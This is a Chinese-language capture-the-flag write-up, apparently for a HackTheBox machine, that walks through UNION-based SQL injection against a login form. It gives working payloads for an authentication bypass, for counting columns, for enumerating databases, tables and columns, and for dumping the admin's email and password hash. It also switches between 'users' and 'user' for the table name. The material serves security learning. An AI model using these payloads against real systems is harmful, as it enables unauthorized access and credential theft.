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# 基于 Union 的 SQLi
使用 **Burp Suite**，我们可以拦截请求，从而进行 SQL 注入测试。
### 基础 SQL 注入：
为了通过一个简单的注入绕过身份验证，我们使用：
```bash
admin ' or 1=1-- -
```
这种类型的注入会强制条件始终为真（`1=1`），从而允许访问管理员面板并绕过身份验证控制。
### 基于 UNION 的注入
通过一次注入 **基于 UNION 的 SQL**，我们尝试确定列数，以便以与数据库兼容的方式构造请求。示例：
```bash
admin' union select 1,2,3,4-- -
```
服务器返回了一个提示“登录成功”的响应，表明有 4 列。
#### 列出数据库
要列出当前数据库名称，我们使用：
```bash
admin' union select 1,2,3,database()-- -&password=admin
```
然后，要获取所有可用数据库：
{% code overflow="wrap" %}
```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin
```
{% endcode %}
结果： `information_schema`, `main`
#### 列出表
在识别出数据库后 `main`，我们列出该库的表来探索存储的结构：
{% code overflow="wrap" %}
```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -
```
{% endcode %}
找到的表： `blog`, `blog_comments`, `users`.
列出表的列 对于表 `users`，我们列出可用的列：
{% code overflow="wrap" %}
```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -
```
{% endcode %}
找到的列： `email`, `id`, `name`, `密码`.
#### 用户数据提取
然后我们提取该表的数据 `users`:
{% code overflow="wrap" %}
```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -
```
{% endcode %}
用户： `Admin` 邮箱： `admin@goodgames.htb` 密码（哈希）： `2b22337f218b2d82dfc3b6f77e7cb8ec`
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